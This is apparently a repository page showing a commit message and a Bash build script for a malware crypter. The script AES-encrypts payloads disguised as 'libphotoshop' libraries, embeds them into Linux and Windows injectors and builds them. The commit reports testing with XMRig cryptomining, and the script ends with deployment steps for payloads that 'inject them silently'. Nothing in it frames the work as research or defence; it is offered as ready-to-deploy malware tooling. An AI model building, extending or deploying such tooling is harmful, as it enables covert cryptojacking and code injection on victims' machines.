JorySeverijnse
59a40a43f6
- Implement AES-128-CBC encryption with SHA256 key derivation - Add Linux SO injector with dlopen + function calling - Add Windows DLL injector with NT API + APC queuing - Create automated build script (build_injectors.sh) - Generate single encrypted_payload.bin files per platform - Embed real malware payloads (libphotoshop.dll/so) - Update documentation and clean up repository - Linux injector tested with real XMRig mining (700%+ CPU usage) - Windows injector ready for compilation and testing Security features: - AES-128-CBC with random IVs and PKCS7 padding - SHA256(password + salt) key derivation - Cross-platform isolation (no code leakage) - Single encrypted file format per platform - Embedded payloads with no external dependencies
132 lines
3.6 KiB
Bash
Executable File
132 lines
3.6 KiB
Bash
Executable File
#!/bin/bash
|
|
|
|
echo "🔐 Building Cross-Platform AES-Encrypted Injectors"
|
|
echo "=================================================="
|
|
|
|
# Check if required files exist
|
|
if [ ! -f "libphotoshop.so" ]; then
|
|
echo "❌ Error: libphotoshop.so not found"
|
|
exit 1
|
|
fi
|
|
|
|
# Check for DLL (might be in crypt directory or missing)
|
|
if [ -f "libphotoshop.dll" ]; then
|
|
DLL_FILE="libphotoshop.dll"
|
|
elif [ -f "crypt/encrypted_dll.dll" ]; then
|
|
echo "⚠️ Using existing encrypted DLL from crypt directory"
|
|
cp crypt/encrypted_dll.dll libphotoshop.dll
|
|
DLL_FILE="libphotoshop.dll"
|
|
else
|
|
echo "⚠️ Warning: libphotoshop.dll not found - Windows injector will use placeholder data"
|
|
echo " To add real DLL: place libphotoshop.dll in this directory and re-run script"
|
|
DLL_FILE=""
|
|
fi
|
|
|
|
echo "📁 Found malware files:"
|
|
if [ -n "$DLL_FILE" ]; then
|
|
ls -la "$DLL_FILE" libphotoshop.so
|
|
else
|
|
ls -la libphotoshop.so
|
|
fi
|
|
|
|
# Step 1: Encrypt DLL for Windows
|
|
if [ -n "$DLL_FILE" ]; then
|
|
echo ""
|
|
echo "🔒 Encrypting DLL for Windows..."
|
|
cd crypt
|
|
rm -f *.bin
|
|
cargo run ../"$DLL_FILE" > /dev/null 2>&1
|
|
if [ $? -ne 0 ]; then
|
|
echo "❌ Failed to encrypt DLL"
|
|
exit 1
|
|
fi
|
|
|
|
echo "// Windows DLL payload data" > dll_payload_data.h
|
|
xxd -i encrypted_payload.bin >> dll_payload_data.h
|
|
|
|
cd ..
|
|
cp crypt/dll_payload_data.h .
|
|
cp crypt/dll_metadata_data.h .
|
|
|
|
echo "✅ Windows DLL encrypted and headers generated"
|
|
else
|
|
echo ""
|
|
echo "⚠️ Skipping DLL encryption (no DLL file found)"
|
|
echo " Windows injector will use placeholder data"
|
|
fi
|
|
|
|
# Step 2: Encrypt SO for Linux
|
|
echo ""
|
|
echo "🔒 Encrypting SO for Linux..."
|
|
cd crypt
|
|
rm -f *.bin
|
|
cargo run ../libphotoshop.so > /dev/null 2>&1
|
|
if [ $? -ne 0 ]; then
|
|
echo "❌ Failed to encrypt SO"
|
|
exit 1
|
|
fi
|
|
|
|
echo "// Linux SO payload data" > so_payload_data.h
|
|
xxd -i encrypted_payload.bin >> so_payload_data.h
|
|
|
|
cd ..
|
|
cp crypt/so_payload_data.h .
|
|
cp crypt/so_metadata_data.h .
|
|
|
|
echo "✅ Linux SO encrypted and headers generated"
|
|
|
|
# Step 3: Build Windows injector
|
|
echo ""
|
|
echo "🔨 Building Windows injector..."
|
|
# Note: Windows compilation would be done on Windows with:
|
|
echo "On Windows, run: cl.exe /EHsc windows_injector.cpp advapi32.lib"
|
|
echo "✅ Windows injector source ready"
|
|
|
|
# Step 4: Build Linux injector
|
|
echo ""
|
|
echo "🔨 Building Linux injector..."
|
|
g++ -std=c++11 linux_injector.cpp -o linux_injector -lssl -lcrypto -ldl
|
|
if [ $? -ne 0 ]; then
|
|
echo "❌ Failed to build Linux injector"
|
|
exit 1
|
|
fi
|
|
|
|
echo "✅ Linux injector built successfully"
|
|
|
|
# Step 5: Verify builds
|
|
echo ""
|
|
echo "📋 Build Summary:"
|
|
echo "================="
|
|
|
|
if [ -n "$DLL_FILE" ]; then
|
|
echo "✅ Windows DLL encrypted: $(stat -c%s "$DLL_FILE") bytes → encrypted_payload.bin"
|
|
else
|
|
echo "⚠️ Windows DLL: Not encrypted (file missing)"
|
|
fi
|
|
|
|
echo "✅ Linux SO encrypted: $(stat -c%s libphotoshop.so) bytes → encrypted_payload.bin"
|
|
echo "✅ Linux injector: linux_injector (executable built)"
|
|
|
|
if [ -n "$DLL_FILE" ]; then
|
|
echo "✅ Windows injector: windows_injector.cpp (ready for Windows compilation)"
|
|
else
|
|
echo "⚠️ Windows injector: Source ready but using placeholder data"
|
|
fi
|
|
|
|
echo ""
|
|
echo "🚀 Ready to deploy!"
|
|
echo ""
|
|
echo "Linux deployment:"
|
|
echo " ./linux_injector"
|
|
echo ""
|
|
|
|
if [ -n "$DLL_FILE" ]; then
|
|
echo "Windows deployment:"
|
|
echo " 1. Copy windows_injector.cpp, dll_payload_data.h, dll_metadata_data.h to Windows"
|
|
echo " 2. Compile: cl.exe /EHsc windows_injector.cpp advapi32.lib"
|
|
echo " 3. Run: windows_injector.exe"
|
|
echo ""
|
|
fi
|
|
|
|
echo "Both injectors decrypt embedded AES-CBC payloads and inject them silently!"
|